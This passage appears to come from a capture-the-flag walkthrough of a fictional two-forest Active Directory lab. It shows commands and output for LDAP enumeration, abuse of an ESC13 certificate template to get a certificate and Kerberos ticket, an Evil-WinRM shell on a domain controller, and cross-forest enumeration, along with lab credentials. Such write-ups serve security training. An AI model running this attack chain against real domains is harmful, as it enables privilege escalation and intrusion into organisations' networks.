LDAP dc1.ping.htb 389 DC1 RDS Management Servers 0 Servers in this group can perform routine administrative actions on servers running Remote Desktop Services. This group needs to be populated on all servers in a Remote Desktop Services deployment. The servers running the RDS Central Management service must be included in this group.
LDAP dc1.ping.htb 389 DC1 Hyper-V Administrators 0 Members of this group have complete and unrestricted access to all features of Hyper-V.
LDAP dc1.ping.htb 389 DC1 Access Control Assistance Operators 0 Members of this group can remotely query authorization attributes and permissions for resources on this computer.
LDAP dc1.ping.htb 389 DC1 Remote Management Users 0 Members of this group can access WMI resources over management protocols (such as WS-Management via the Windows Remote Management service). This applies only to WMI namespaces that grant access to the user.
LDAP dc1.ping.htb 389 DC1 Storage Replica Administrators 0 Members of this group have complete and unrestricted access to all features of Storage Replica.
LDAP dc1.ping.htb 389 DC1 Domain Computers 0 All workstations and servers joined to the domain
LDAP dc1.ping.htb 389 DC1 Domain Controllers 0 All domain controllers in the domain
LDAP dc1.ping.htb 389 DC1 Schema Admins 1 Designated administrators of the schema
LDAP dc1.ping.htb 389 DC1 Enterprise Admins 1 Designated administrators of the enterprise
LDAP dc1.ping.htb 389 DC1 Cert Publishers 1 Members of this group are permitted to publish certificates to the directory
LDAP dc1.ping.htb 389 DC1 Domain Admins 1 Designated administrators of the domain
LDAP dc1.ping.htb 389 DC1 Domain Users 0 All domain users
LDAP dc1.ping.htb 389 DC1 Domain Guests 0 All domain guests
LDAP dc1.ping.htb 389 DC1 Group Policy Creator Owners 1 Members in this group can modify group policy for the domain
LDAP dc1.ping.htb 389 DC1 RAS and IAS Servers 0 Servers in this group can access remote access properties of users
LDAP dc1.ping.htb 389 DC1 Server Operators 0 Members can administer domain servers
LDAP dc1.ping.htb 389 DC1 Account Operators 0 Members can administer domain user and group accounts
LDAP dc1.ping.htb 389 DC1 Pre-Windows 2000 Compatible Access 2 A backward compatibility group which allows read access on all users and groups in the domain
LDAP dc1.ping.htb 389 DC1 Incoming Forest Trust Builders 0 Members of this group can create incoming, one-way trusts to this forest
LDAP dc1.ping.htb 389 DC1 Windows Authorization Access Group 1 Members of this group have access to the computed tokenGroupsGlobalAndUniversal attribute on User objects
LDAP dc1.ping.htb 389 DC1 Terminal Server License Servers 0 Members of this group can update user accounts in Active Directory with information about license issuance, for the purpose of tracking and reporting TS Per User CAL usage
LDAP dc1.ping.htb 389 DC1 Allowed RODC Password Replication Group 0 Members in this group can have their passwords replicated to all read-only domain controllers in the domain
LDAP dc1.ping.htb 389 DC1 Denied RODC Password Replication Group 8 Members in this group cannot have their passwords replicated to any read-only domain controllers in the domain
LDAP dc1.ping.htb 389 DC1 Read-only Domain Controllers 0 Members of this group are Read-Only Domain Controllers in the domain
LDAP dc1.ping.htb 389 DC1 Enterprise Read-only Domain Controllers 0 Members of this group are Read-Only Domain Controllers in the enterprise
LDAP dc1.ping.htb 389 DC1 Cloneable Domain Controllers 0 Members of this group that are domain controllers may be cloned.
LDAP dc1.ping.htb 389 DC1 Protected Users 0 Members of this group are afforded additional protections against authentication security threats. See http://go.microsoft.com/fwlink/?LinkId=298939 for more information.
LDAP dc1.ping.htb 389 DC1 Key Admins 0 Members of this group can perform administrative actions on key objects within the domain.
LDAP dc1.ping.htb 389 DC1 Enterprise Key Admins 0 Members of this group can perform administrative actions on key objects within the forest.
LDAP dc1.ping.htb 389 DC1 DnsAdmins 0 DNS Administrators Group
LDAP dc1.ping.htb 389 DC1 DnsUpdateProxy 0 DNS clients who are permitted to perform dynamic updates on behalf of some other clients (such as DHCP servers).
LDAP dc1.ping.htb 389 DC1 TempWinRMAccess 0
LDAP dc1.ping.htb 389 DC1 IT 8
LDAP dc1.ping.htb 389 DC1 CA Managers 3
LDAP dc1.ping.htb 389 DC1 HR 7
LDAP dc1.ping.htb 389 DC1 Finance 6
We can also enumerate computers and domain controllers with the --computers and --dc-list flags.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ nxc ldap dc1.ping.htb -u c.roberts -p AssumedBreach123 -k --computers
LDAP dc1.ping.htb 389 DC1 [*] None (name:DC1) (domain:ping.htb) (signing:None) (channel binding:Never) (NTLM:False)
LDAP dc1.ping.htb 389 DC1 [+] ping.htb\c.roberts:AssumedBreach123
LDAP dc1.ping.htb 389 DC1 [*] Total records returned: 2
LDAP dc1.ping.htb 389 DC1 DC1$
LDAP dc1.ping.htb 389 DC1 gMSA$
$ nxc ldap dc1.ping.htb -u c.roberts -p AssumedBreach123 -k --dc-list
LDAP dc1.ping.htb 389 DC1 [*] None (name:DC1) (domain:ping.htb) (signing:None) (channel binding:Never) (NTLM:False)
LDAP dc1.ping.htb 389 DC1 [+] ping.htb\c.roberts:AssumedBreach123
LDAP dc1.ping.htb 389 DC1 dc1.ping.htb = 192.168.2.1
LDAP dc1.ping.htb 389 DC1 [+] Found DC in trusted domain: dc2.pong.htb
LDAP dc1.ping.htb 389 DC1 pong.htb -> Bidirectional -> Forest Transitive
LDAP dc1.ping.htb 389 DC1 dc2.pong.htb = 192.168.2.2
We can immediately see that there’s multiple DCs: dc1 and dc2 in separate Forests with a Bidirectional trust. This probably means that we’ll have to exploit this trust at some point.
AD CS Enumeration
Let’s just dump vulnerable templates.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
$ certipy find -u c.roberts@ping.htb -p AssumedBreach123 -k -dc-host dc1.ping.htb -stdout -vulnerable
Certipy v5.0.4 - by Oliver Lyak (ly4k)
[!] Target name (-target) not specified and Kerberos authentication is used. This might fail
[!] DNS resolution failed: The DNS query name does not exist: dc1.ping.htb.
[!] Use -debug to print a stacktrace
[*] Finding certificate templates
[*] Found 35 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 13 enabled certificate templates
[*] Finding issuance policies
[*] Found 20 issuance policies
[*] Found 1 OID linked to a template
[*] Retrieving CA configuration for 'ping-DC1-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Successfully retrieved CA configuration for 'ping-DC1-CA'
[*] Checking web enrollment for CA 'ping-DC1-CA' @ 'dc1.ping.htb'
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[*] Enumeration output:
Certificate Authorities
0
CA Name : ping-DC1-CA
DNS Name : dc1.ping.htb
Certificate Subject : CN=ping-DC1-CA, DC=ping, DC=htb
Certificate Serial Number : 6F8E726EEFA64B894CE82D498BC27632
Certificate Validity Start : 2026-04-20 18:54:41+00:00
Certificate Validity End : 2126-04-20 19:04:41+00:00
Web Enrollment
HTTP
Enabled : False
HTTPS
Enabled : False
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Active Policy : CertificateAuthority_MicrosoftDefault.Policy
Permissions
Owner : PING.HTB\Administrators
Access Rights
ManageCa : PING.HTB\Administrators
PING.HTB\Domain Admins
PING.HTB\Enterprise Admins
ManageCertificates : PING.HTB\Administrators
PING.HTB\Domain Admins
PING.HTB\Enterprise Admins
Enroll : PING.HTB\Authenticated Users
Certificate Templates
0
Template Name : TemporaryWinRM
Display Name : Temporary WinRM
Certificate Authorities : ping-DC1-CA
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : False
Certificate Name Flag : SubjectAltRequireUpn
SubjectRequireDirectoryPath
Enrollment Flag : IncludeSymmetricAlgorithms
PublishToDs
AutoEnrollment
Private Key Flag : ExportableKey
Extended Key Usage : Client Authentication
Secure Email
Encrypting File System
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Schema Version : 2
Validity Period : 1 year
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Template Created : 2025-12-23T17:19:28+00:00
Template Last Modified : 2025-12-27T21:12:15+00:00
Issuance Policies : 1.3.6.1.4.1.311.21.8.5808481.4086498.12600997.2067446.8927163.214.489503.1996623
Linked Groups : CN=TempWinRMAccess,CN=Users,DC=ping,DC=htb
Permissions
Enrollment Permissions
Enrollment Rights : PING.HTB\Domain Admins
PING.HTB\Domain Users
PING.HTB\Enterprise Admins
Object Control Permissions
Owner : PING.HTB\Administrator
Full Control Principals : PING.HTB\Domain Admins
PING.HTB\Enterprise Admins
Write Owner Principals : PING.HTB\Domain Admins
PING.HTB\Enterprise Admins
Write Dacl Principals : PING.HTB\Domain Admins
PING.HTB\Enterprise Admins
Write Property Enroll : PING.HTB\Domain Admins
PING.HTB\Domain Users
PING.HTB\Enterprise Admins
[+] User Enrollable Principals : PING.HTB\Domain Users
[!] Vulnerabilities
ESC13 : Template allows client authentication and issuance policy is linked to group 'CN=TempWinRMAccess,CN=Users,DC=ping,DC=htb'.
Foothold
ESC13 to TempWinRMAccess Group
Based on our enumeration we can find the ADCS Template: TemporaryWinRM is vulnerable to ESC13, given that Domain Users have enrollment rights, we’re able to issue ourselves a certificate under the TempWinRMAccess Group.
Let’s request a certificate with the given template.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
c.roberts@ping.htb> $ certipy req -k -target dc1.ping.htb -ca ping-DC1-CA -template TemporaryWinRM -out c.r.winrm.pfx
Certipy v5.0.4 - by Oliver Lyak (ly4k)
[!] DC host (-dc-host) not specified and Kerberos authentication is used. This might fail
[!] DNS resolution failed: The DNS query name does not exist: dc1.ping.htb.
[!] Use -debug to print a stacktrace
[!] DNS resolution failed: The DNS query name does not exist: PING.HTB.
[!] Use -debug to print a stacktrace
[*] Requesting certificate via RPC
[*] Request ID is 17
[*] Successfully requested certificate
[*] Got certificate with UPN 'C.Roberts@ping.htb'
[*] Certificate object SID is 'S-1-5-21-750635624-2058721901-1932338391-2617'
[*] Saving certificate and private key to 'c.r.winrm.pfx'
[*] Wrote certificate and private key to 'c.r.winrm.pfx'
Let’s grab ourselves a TGT, note that I’m excluding grabbing the hash because NTLM is disabled anyways.
1
2
3
4
5
6
7
8
9
10
11
12
13
c.roberts@ping.htb> $ certipy auth -pfx c.r.winrm.pfx -dc-ip 10.129.230.114 -no-hash
Certipy v5.0.4 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] SAN UPN: 'C.Roberts@ping.htb'
[*] Security Extension SID: 'S-1-5-21-750635624-2058721901-1932338391-2617'
[*] Using principal: 'c.roberts@ping.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'c.roberts.ccache'
File 'c.roberts.ccache' already exists. Overwrite? (y/n - saying no will save with a unique filename): n
[*] Wrote credential cache to 'c.roberts_98f4857f-c8ba-42b4-ac4f-eff6e5aa3a2e.ccache'
I’ll be setting up my KRB5_CONFIG variable to this custom_krb5.conf file.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
[libdefaults]
default_realm = PING.HTB
dns_lookup_realm = false
dns_lookup_kdc = false
forwardable = true
[realms]
PING.HTB = {
kdc = dc1.ping.htb
admin_server = dc1.ping.htb
}
PONG.HTB = {
kdc = dc2.pong.htb
admin_server = dc2.pong.htb
}
[domain_realm]
.ping.htb = PING.HTB
ping.htb = PING.HTB
.pong.htb = PONG.HTB
pong.htb = PONG.HTB
Assuming that we setup our KRB5_CONFIG and KRB5CCNAME env-vars correctly, we should be able to WinRM through Kerberos
1
2
3
4
5
6
7
8
9
10
11
c.roberts@TempWinRM@ping.htb>$ evil-winrm -i dc1.ping.htb -r ping.htb
Evil-WinRM shell v3.9
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\C.Roberts\Documents>
I’ll establish a pivot so that I can connect to dc2.pong.htb.
1
2
3
4
5
6
7
8
9
10
11
12
$ ping dc2.pong.htb
PING dc2.pong.htb (192.168.2.2) 56(84) bytes of data.
64 bytes from dc2.pong.htb (192.168.2.2): icmp_seq=1 ttl=64 time=31.6 ms
64 bytes from dc2.pong.htb (192.168.2.2): icmp_seq=2 ttl=64 time=33.7 ms
64 bytes from dc2.pong.htb (192.168.2.2): icmp_seq=3 ttl=64 time=49.0 ms
64 bytes from dc2.pong.htb (192.168.2.2): icmp_seq=4 ttl=64 time=34.8 ms
64 bytes from dc2.pong.htb (192.168.2.2): icmp_seq=5 ttl=64 time=33.6 ms
^C
--- dc2.pong.htb ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 4009ms
rtt min/avg/max/mdev = 31.636/36.544/48.976/6.298 ms
We can also prove authentication against the pong.htb domain
1
2
3
4
c.roberts@ping.htb> $ nxc ldap dc2.pong.htb -k --use-kcache
LDAP dc2.pong.htb 389 DC2 [*] None (name:DC2) (domain:PING.HTB) (signing:None) (channel binding:No TLS cert) (NTLM:False)
LDAP dc2.pong.htb 389 DC2 [+] PING.HTB\c.roberts from ccache
As expected, our user doesn’t exist in the other domain.
1
2
3
4
c.roberts@ping.htb> $ nxc ldap dc2.pong.htb -k --use-kcache -d pong.htb
LDAP dc2.pong.htb 389 DC2 [*] None (name:DC2) (domain:pong.htb) (signing:None) (channel binding:No TLS cert) (NTLM:False)
LDAP dc2.pong.htb 389 DC2 [-] pong.htb\ from ccache KDC_ERR_C_PRINCIPAL_UNKNOWN
User
Enumerating PONG
Earlier, noticed the user account: gMSA$, since this is a gMSA account, let’s take a look at users who can read the msDS-ManagedPassword
1
2
3
4
5
c.roberts@ping.htb>$ bloodyAD -H dc1.ping.htb -k -d ping.htb get object 'gMSA$' --attr 'msDs-GroupMSAMembership'
distinguishedName: CN=gMSA,CN=Managed Service Accounts,DC=ping,DC=htb
msDS-GroupMSAMembership: O:S-1-5-32-544D:(A;;0xf01ff;;;S-1-5-21-2410575906-3092493790-2123333151-1104)
I also tried querying the domain for that specific OID, but wasn’t unable to find anything.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
c.roberts@ping.htb> $ bloodyAD -H dc1.ping.htb -k -d ping.htb get object 'S-1-5-21-2410575906-3092493790-2123333151-1104'
Traceback (most recent call last):
File "/home/kali/.local/bin/bloodyAD", line 10, in <module>
sys.exit(main())
~~~~^^
File "/home/kali/.local/share/uv/tools/bloodyad/lib/python3.13/site-packages/bloodyAD/main.py", line 342, in main
asyncio.run(amain())
~~~~~~~~~~~^^^^^^^^^
File "/usr/lib/python3.13/asyncio/runners.py", line 195, in run
return runner.run(main)
~~~~~~~~~~^^^^^^
File "/usr/lib/python3.13/asyncio/runners.py", line 118, in run
return self._loop.run_until_complete(task)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~^^^^^^
File "/usr/lib/python3.13/asyncio/base_events.py", line 725, in run_until_complete
return future.result()
~~~~~~~~~~~~~^^
File "/home/kali/.local/share/uv/tools/bloodyad/lib/python3.13/site-packages/bloodyAD/main.py", line 268, in amain
async for entry in result:
print_human_entry(entry)
File "/home/kali/.local/share/uv/tools/bloodyad/lib/python3.13/site-packages/bloodyAD/cli_modules/get.py", line 376, in object
async for entry in rendered_entries:
yield entry
File "/home/kali/.local/share/uv/tools/bloodyad/lib/python3.13/site-packages/bloodyAD/utils.py", line 571, in renderSearchResult
async for entry in entries:
...<26 lines>...
decoded_entry = {}
File "/home/kali/.local/share/uv/tools/bloodyad/lib/python3.13/site-packages/bloodyAD/network/ldap.py", line 459, in bloodysearch
base_dn = await self.dnResolver(base)
^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/kali/.local/share/uv/tools/bloodyad/lib/python3.13/site-packages/bloodyAD/network/ldap.py", line 294, in dnResolver
raise NoResultError(self.domainNC, ldap_filter)
bloodyAD.exceptions.NoResultError: No object found in DC=ping,DC=htb with filter: (objectSid=S-1-5-21-2410575906-3092493790-2123333151-1104)
However, now that we can reach the second DC let’s query it against that.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
c.roberts@ping.htb> $ bloodyAD --host dc2.pong.htb -k -d ping.htb get object 'S-1-5-21-2410575906-3092493790-2123333151-1104'
distinguishedName: CN=gMSA Managers,CN=Users,DC=pong,DC=htb
cn: gMSA Managers
dSCorePropagationData: 2025-12-28 08:49:01+00:00
groupType: -2147483646
instanceType: 4
nTSecurityDescriptor: O:S-1-5-21-750635624-2058721901-1932338391-2618G:S-1-5-21-2410575906-3092493790-2123333151-512D:AI(OA;;RP;46a9b11d-60ae-405a-b7e8-ff8a58d456d2;;S-1-5-32-560)(OA;;CR;ab721a55-1e2f-11d0-9819-00aa0040529b;;S-1-5-11)(A;;0xf01ff;;;S-1-5-21-2410575906-3092493790-2123333151-512)(A;;0xf01ff;;;S-1-5-32-548)(A;;0x20094;;;S-1-5-10)(A;;0x20094;;;S-1-5-11)(A;;0xf01ff;;;S-1-5-18)(OA;CIIOID;RP;4c164200-20c0-11d0-a768-00aa006e0529;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-32-554)(OA;CIIOID;RP;4c164200-20c0-11d0-a768-00aa006e0529;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;CIIOID;RP;5f202010-79a5-11d0-9020-00c04fc2d4cf;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-32-554)(OA;CIIOID;RP;5f202010-79a5-11d0-9020-00c04fc2d4cf;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;CIIOID;RP;bc0ac240-79a9-11d0-9020-00c04fc2d4cf;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-32-554)(OA;CIIOID;RP;bc0ac240-79a9-11d0-9020-00c04fc2d4cf;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;CIIOID;RP;59ba2f42-79a2-11d0-9020-00c04fc2d3cf;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-32-554)(OA;CIIOID;RP;59ba2f42-79a2-11d0-9020-00c04fc2d3cf;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;CIIOID;RP;037088f8-0ae1-11d2-b422-00a0c968f939;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-32-554)(OA;CIIOID;RP;037088f8-0ae1-11d2-b422-00a0c968f939;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;CIID;0x30;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-2410575906-3092493790-2123333151-526)(OA;CIID;0x30;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-2410575906-3092493790-2123333151-527)(OA;CIIOID;SW;9b026da6-0d3c-465c-8bee-5199d7165cba;bf967a86-0de6-11d0-a285-00aa003049e2;S-1-3-0)(OA;CIIOID;SW;9b026da6-0d3c-465c-8bee-5199d7165cba;bf967a86-0de6-11d0-a285-00aa003049e2;S-1-5-10)(OA;CIIOID;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a86-0de6-11d0-a285-00aa003049e2;S-1-5-9)(OA;CIID;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a9c-0de6-11d0-a285-00aa003049e2;S-1-5-9)(OA;CIIOID;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-9)(OA;CIIOID;WP;ea1b7b93-5e48-46d5-bc6c-4df4fda78a35;bf967a86-0de6-11d0-a285-00aa003049e2;S-1-5-10)(OA;CIIOID;0x20094;;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-32-554)(OA;CIID;0x20094;;bf967a9c-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;CIIOID;0x20094;;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;OICIID;0x30;3f78c3e5-f79a-46bd-a0b8-9d18116ddc79;;S-1-5-10)(OA;CIID;0x130;91e647de-d96f-4b70-9557-d63ff4f3ccd8;;S-1-5-10)(A;CIID;0xf01ff;;;S-1-5-21-2410575906-3092493790-2123333151-519)(A;CIID;LC;;;S-1-5-32-554)(A;CIID;0xf01bd;;;S-1-5-32-544)
name: gMSA Managers
objectCategory: CN=Group,CN=Schema,CN=Configuration,DC=pong,DC=htb
objectClass: top; group
objectGUID: f7d4314e-9cbf-4a4c-9ee6-30b4c75566b8
objectSid: S-1-5-21-2410575906-3092493790-2123333151-1104
sAMAccountName: gMSA Managers
sAMAccountType: 268435456
uSNChanged: 36912
uSNCreated: 36896
whenChanged: 2025-12-28 08:49:01+00:00
whenCreated: 2025-12-28 08:24:05+00:00
And if we look around for the owner: S-1-5-21-750635624-2058721901-1932338391-2618, we find it in the ping.htb domain.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
c.roberts@ping.htb> $ bloodyAD --host dc1.ping.htb -k -d ping.htb get object 'S-1-5-21-750635624-2058721901-1932338391-2618'
distinguishedName: CN=IT,CN=Users,DC=ping,DC=htb
cn: IT
dSCorePropagationData: 1601-01-01 00:00:00+00:00
groupType: -2147483646
instanceType: 4
member: CN=C.Roberts,CN=Users,DC=ping,DC=htb; CN=P.Klain,CN=Users,DC=ping,DC=htb; CN=A.Gordon,CN=Users,DC=ping,DC=htb; CN=P.Paul,CN=Users,DC=ping,DC=htb; CN=M.Wallace,CN=Users,DC=ping,DC=htb; CN=Z.Iskam,CN=Users,DC=ping,DC=htb; CN=G.Lorents,CN=Users,DC=ping,DC=htb; CN=M.Russell,CN=Users,DC=ping,DC=htb
nTSecurityDescriptor: O:S-1-5-21-750635624-2058721901-1932338391-512G:S-1-5-21-750635624-2058721901-1932338391-512D:AI(OA;;RP;46a9b11d-60ae-405a-b7e8-ff8a58d456d2;;S-1-5-32-560)(OA;;CR;ab721a55-1e2f-11d0-9819-00aa0040529b;;S-1-5-11)(A;;0xf01ff;;;S-1-5-21-750635624-2058721901-1932338391-512)(A;;0xf01ff;;;S-1-5-32-548)(A;;0x20094;;;S-1-5-10)(A;;0x20094;;;S-1-5-11)(A;;0xf01ff;;;S-1-5-18)(OA;CIIOID;RP;4c164200-20c0-11d0-a768-00aa006e0529;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-32-554)(OA;CIIOID;RP;4c164200-20c0-11d0-a768-00aa006e0529;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;CIIOID;RP;5f202010-79a5-11d0-9020-00c04fc2d4cf;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-32-554)(OA;CIIOID;RP;5f202010-79a5-11d0-9020-00c04fc2d4cf;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;CIIOID;RP;bc0ac240-79a9-11d0-9020-00c04fc2d4cf;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-32-554)(OA;CIIOID;RP;bc0ac240-79a9-11d0-9020-00c04fc2d4cf;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;CIIOID;RP;59ba2f42-79a2-11d0-9020-00c04fc2d3cf;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-32-554)(OA;CIIOID;RP;59ba2f42-79a2-11d0-9020-00c04fc2d3cf;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;CIIOID;RP;037088f8-0ae1-11d2-b422-00a0c968f939;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-32-554)(OA;CIIOID;RP;037088f8-0ae1-11d2-b422-00a0c968f939;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;CIID;0x30;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-750635624-2058721901-1932338391-526)(OA;CIID;0x30;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-750635624-2058721901-1932338391-527)(OA;CIIOID;SW;9b026da6-0d3c-465c-8bee-5199d7165cba;bf967a86-0de6-11d0-a285-00aa003049e2;S-1-3-0)(OA;CIIOID;SW;9b026da6-0d3c-465c-8bee-5199d7165cba;bf967a86-0de6-11d0-a285-00aa003049e2;S-1-5-10)(OA;CIIOID;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a86-0de6-11d0-a285-00aa003049e2;S-1-5-9)(OA;CIID;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a9c-0de6-11d0-a285-00aa003049e2;S-1-5-9)(OA;CIIOID;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-9)(OA;CIIOID;WP;ea1b7b93-5e48-46d5-bc6c-4df4fda78a35;bf967a86-0de6-11d0-a285-00aa003049e2;S-1-5-10)(OA;CIIOID;0x20094;;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-32-554)(OA;CIID;0x20094;;bf967a9c-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;CIIOID;0x20094;;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;OICIID;0x30;3f78c3e5-f79a-46bd-a0b8-9d18116ddc79;;S-1-5-10)(OA;CIID;0x130;91e647de-d96f-4b70-9557-d63ff4f3ccd8;;S-1-5-10)(A;CIID;0xf01ff;;;S-1-5-21-750635624-2058721901-1932338391-519)(A;CIID;LC;;;S-1-5-32-554)(A;CIID;0xf01bd;;;S-1-5-32-544)
name: IT
objectCategory: CN=Group,CN=Schema,CN=Configuration,DC=ping,DC=htb
objectClass: top; group
objectGUID: 3346cb76-cfd3-46eb-bd76-7e7019486ac1
objectSid: S-1-5-21-750635624-2058721901-1932338391-2618
sAMAccountName: IT
sAMAccountType: 268435456
uSNChanged: 90249
uSNCreated: 90231
whenChanged: 2025-12-28 08:17:02+00:00
whenCreated: 2025-12-28 08:17:00+00:00
I’ve also done my usual Domain Object enumeration.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
c.roberts@ping.htb> $ nxc ldap dc2.pong.htb -k --use-kcache --users-export dc2.users.txt --computers --groups --admin-count --trusted-for-delegation
LDAP dc2.pong.htb 389 DC2 [*] None (name:DC2) (domain:PING.HTB) (signing:None) (channel binding:No TLS cert) (NTLM:False)
LDAP dc2.pong.htb 389 DC2 [+] PING.HTB\c.roberts from ccache
LDAP dc2.pong.htb 389 DC2 DC2$
LDAP dc2.pong.htb 389 DC2 Administrator
LDAP dc2.pong.htb 389 DC2 krbtgt
LDAP dc2.pong.htb 389 DC2 [*] Enumerated 16 domain users: PING.HTB
LDAP dc2.pong.htb 389 DC2 -Username- -Last PW Set- -BadPW- -Description-
LDAP dc2.pong.htb 389 DC2 Administrator 2026-02-03 04:42:24 0 Built-in account for administering the computer/domain
LDAP dc2.pong.htb 389 DC2 Guest <never> 0 Built-in account for guest access to the computer/domain
LDAP dc2.pong.htb 389 DC2 krbtgt 2025-11-28 10:08:23 0 Key Distribution Center Service Account
LDAP dc2.pong.htb 389 DC2 C.Carlssen 2026-01-20 11:32:49 0
LDAP dc2.pong.htb 389 DC2 M.Sun 2026-01-16 09:20:41 0
LDAP dc2.pong.htb 389 DC2 Z.Zhen 2026-01-16 09:20:41 0
LDAP dc2.pong.htb 389 DC2 A.Pearson 2026-01-16 09:20:41 0
LDAP dc2.pong.htb 389 DC2 P.Sanchez 2026-01-16 09:20:41 0
LDAP dc2.pong.htb 389 DC2 H.Gordon 2026-01-16 09:20:41 0
LDAP dc2.pong.htb 389 DC2 P.Reiner 2026-01-16 09:20:41 0
LDAP dc2.pong.htb 389 DC2 C.Adam 2026-01-16 09:20:41 4
LDAP dc2.pong.htb 389 DC2 R.Rupert 2026-01-16 09:20:41 0
LDAP dc2.pong.htb 389 DC2 svc_sql 2026-01-16 09:25:30 0
LDAP dc2.pong.htb 389 DC2 svc_print 2026-01-16 09:25:30 0
LDAP dc2.pong.htb 389 DC2 svc_ldap 2026-01-16 09:25:30 0
LDAP dc2.pong.htb 389 DC2 R.Martinelli 2026-01-17 09:33:50 0
LDAP dc2.pong.htb 389 DC2 [*] Writing 16 local users to dc2.users.txt
LDAP dc2.pong.htb 389 DC2 -Group- -Members- -Description-
LDAP dc2.pong.htb 389 DC2 Administrators 3 Administrators have complete and unrestricted access to the computer/domain
LDAP dc2.pong.htb 389 DC2 Users 3 Users are prevented from making accidental or intentional system-wide changes and can run most applications
LDAP dc2.pong.htb 389 DC2 Guests 2 Guests have the same access as members of the Users group by default, except for the Guest account which is further restricted
LDAP dc2.pong.htb 389 DC2 Print Operators 0 Members can administer printers installed on domain controllers
LDAP dc2.pong.htb 389 DC2 Backup Operators 0 Backup Operators can override security restrictions for the sole purpose of backing up or restoring files
LDAP dc2.pong.htb 389 DC2 Replicator 0 Supports file replication in a domain
LDAP dc2.pong.htb 389 DC2 Remote Desktop Users 0 Members in this group are granted the right to logon remotely
LDAP dc2.pong.htb 389 DC2 Network Configuration Operators 0 Members in this group can have some administrative privileges to manage configuration of networking features
LDAP dc2.pong.htb 389 DC2 Performance Monitor Users 0 Members of this group can access performance counter data locally and remotely
LDAP dc2.pong.htb 389 DC2 Performance Log Users 0 Members of this group may schedule logging of performance counters, enable trace providers, and collect event traces both locally and via remote access to this computer
